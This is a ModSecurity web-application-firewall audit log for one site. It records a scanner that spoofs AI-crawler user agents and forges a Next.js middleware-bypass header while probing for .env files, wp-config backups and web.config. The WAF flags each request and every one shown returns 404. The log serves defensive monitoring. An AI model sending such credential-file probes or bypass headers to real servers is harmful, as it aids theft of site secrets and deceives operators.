Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/storage/.env"] [unique_id "aqZ-nisVWymXUono-eRV@wAAABE"]
Stopwatch: 1789296542164705 19486 (- - -)
Stopwatch2: 1789296542164705 19486; combined=16242, p1=347, p2=15656, p3=96, p4=90, p5=52, sr=152, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7aefd750-Z--

--d5e08b69-A--
[13/Sep/2026:13:49:02.196039 +0300] aqZ-nisVWymXUono-eRV@QAAABI 34.80.249.255 36734 127.0.0.1 7081
--d5e08b69-B--
GET /wp-config.php.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d5e08b69-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d5e08b69-E--

--d5e08b69-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZ-nisVWymXUono-eRV@QAAABI"]
Stopwatch: 1789296542148574 47532 (- - -)
Stopwatch2: 1789296542148574 47532; combined=45361, p1=384, p2=44782, p3=97, p4=12, p5=85, sr=174, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5e08b69-Z--

--03426f1b-A--
[13/Sep/2026:13:49:02.226258 +0300] aqZ-nisVWymXUono-eRV-AAAAAY 34.80.249.255 36750 127.0.0.1 7081
--03426f1b-B--
GET /wp-config.php~ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--03426f1b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--03426f1b-E--

--03426f1b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZ-nisVWymXUono-eRV-AAAAAY"]
Stopwatch: 1789296542187276 39076 (- - -)
Stopwatch2: 1789296542187276 39076; combined=37057, p1=451, p2=36396, p3=107, p4=14, p5=89, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--03426f1b-Z--

--aadd9e7b-A--
[13/Sep/2026:13:49:04.012532 +0300] aqZ-oDTJ6xTvcJoem7f8IwAAAFI 34.80.249.255 36926 127.0.0.1 7081
--aadd9e7b-B--
GET /web.config HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--aadd9e7b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--aadd9e7b-E--

--aadd9e7b-H--
Message: Warning. Matched phrase "/web.config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/web.config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/web.config"] [unique_id "aqZ-oDTJ6xTvcJoem7f8IwAAAFI"]
Stopwatch: 1789296544002724 10015 (- - -)
Stopwatch2: 1789296544002724 10015; combined=7701, p1=399, p2=7042, p3=115, p4=11, p5=133, sr=172, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aadd9e7b-Z--

--7be43c75-A--
[13/Sep/2026:13:49:05.356281 +0300] aqZ-oTTJ6xTvcJoem7f8JwAAAE0 34.80.249.255 37066 127.0.0.1 7081
--7be43c75-B--
GET /app/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7be43c75-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7be43c75-E--

--7be43c75-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/app/.env"] [unique_id "aqZ-oTTJ6xTvcJoem7f8JwAAAE0"]
Stopwatch: 1789296545350216 6115 (- - -)
Stopwatch2: 1789296545350216 6115; combined=4684, p1=248, p2=4293, p3=89, p4=9, p5=45, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7be43c75-Z--

--d24ee763-A--
[13/Sep/2026:13:49:05.375597 +0300] aqZ-oUwu1RSkptiiNIX7GQAAAIo 34.80.249.255 37082 127.0.0.1 7081
--d24ee763-B--
GET /server/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d24ee763-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d24ee763-E--

--d24ee763-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/server/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7GQAAAIo"]
Stopwatch: 1789296545369474 6210 (- - -)
Stopwatch2: 1789296545369474 6210; combined=4827, p1=278, p2=4424, p3=73, p4=9, p5=42, sr=131, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d24ee763-Z--

--12d34c56-A--
[13/Sep/2026:13:49:05.383861 +0300] aqZ-oUwu1RSkptiiNIX7GgAAAJY 34.80.249.255 37102 127.0.0.1 7081
--12d34c56-B--
GET /src/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--12d34c56-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--12d34c56-E--

--12d34c56-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/src/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7GgAAAJY"]
Stopwatch: 1789296545379013 4903 (- - -)
Stopwatch2: 1789296545379013 4903; combined=3900, p1=157, p2=3613, p3=71, p4=8, p5=50, sr=71, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--12d34c56-Z--

--5ae3a040-A--
[13/Sep/2026:13:49:05.384732 +0300] aqZ-oTTJ6xTvcJoem7f8KAAAAEI 34.80.249.255 37096 127.0.0.1 7081
--5ae3a040-B--
GET /frontend/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5ae3a040-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5ae3a040-E--

--5ae3a040-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/frontend/.env"] [unique_id "aqZ-oTTJ6xTvcJoem7f8KAAAAEI"]
Stopwatch: 1789296545378001 6782 (- - -)
Stopwatch2: 1789296545378001 6782; combined=4488, p1=230, p2=4124, p3=70, p4=8, p5=55, sr=98, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ae3a040-Z--

--77f0a544-A--
[13/Sep/2026:13:49:05.640328 +0300] aqZ-oUwu1RSkptiiNIX7GwAAAJQ 34.80.249.255 51976 127.0.0.1 7081
--77f0a544-B--
GET /dev/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--77f0a544-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--77f0a544-E--

--77f0a544-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/dev/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7GwAAAJQ"]
Stopwatch: 1789296545633808 6587 (- - -)
Stopwatch2: 1789296545633808 6587; combined=5124, p1=273, p2=4704, p3=87, p4=10, p5=50, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--77f0a544-Z--

--687fe939-A--
[13/Sep/2026:13:49:05.707145 +0300] aqZ-oUwu1RSkptiiNIX7HAAAAIQ 34.80.249.255 51984 127.0.0.1 7081
--687fe939-B--
GET /docker/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--687fe939-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--687fe939-E--

--687fe939-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/docker/.env"] [unique_id "aqZ-oUwu1RSkptiiNIX7HAAAAIQ"]
Stopwatch: 1789296545700829 6369 (- - -)
Stopwatch2: 1789296545700829 6369; combined=4838, p1=249, p2=4461, p3=76, p4=9, p5=43, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--687fe939-Z--

--af722949-A--
[13/Sep/2026:13:49:05.799643 +0300] aqZ-oSsVWymXUono-eRV-wAAAAQ 34.80.249.255 51992 127.0.0.1 7081
--af722949-B--
GET /production/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--af722949-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--af722949-E--

--af722949-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/production/.env"] [unique_id "aqZ-oSsVWymXUono-eRV-wAAAAQ"]
Stopwatch: 1789296545794156 5554 (- - -)
Stopwatch2: 1789296545794156 5554; combined=4422, p1=204, p2=4096, p3=71, p4=9, p5=41, sr=87, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--af722949-Z--

--c1e0e47d-A--
[13/Sep/2026:13:49:05.800438 +0300] aqZ-oWM7dE9KgIIOpQh5sgAAAMA 34.80.249.255 51988 127.0.0.1 7081
--c1e0e47d-B--
GET /v1/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c1e0e47d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c1e0e47d-E--

--c1e0e47d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/v1/.env"] [unique_id "aqZ-oWM7dE9KgIIOpQh5sgAAAMA"]
Stopwatch: 1789296545793361 7127 (- - -)
Stopwatch2: 1789296545793361 7127; combined=4837, p1=307, p2=4404, p3=71, p4=9, p5=45, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c1e0e47d-Z--

--569b150e-A--
[13/Sep/2026:13:49:05.820347 +0300] aqZ-oSsVWymXUono-eRWAAAAAAk 34.80.249.255 52008 127.0.0.1 7081
--569b150e-B--
GET /staging/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--569b150e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--569b150e-E--

--569b150e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
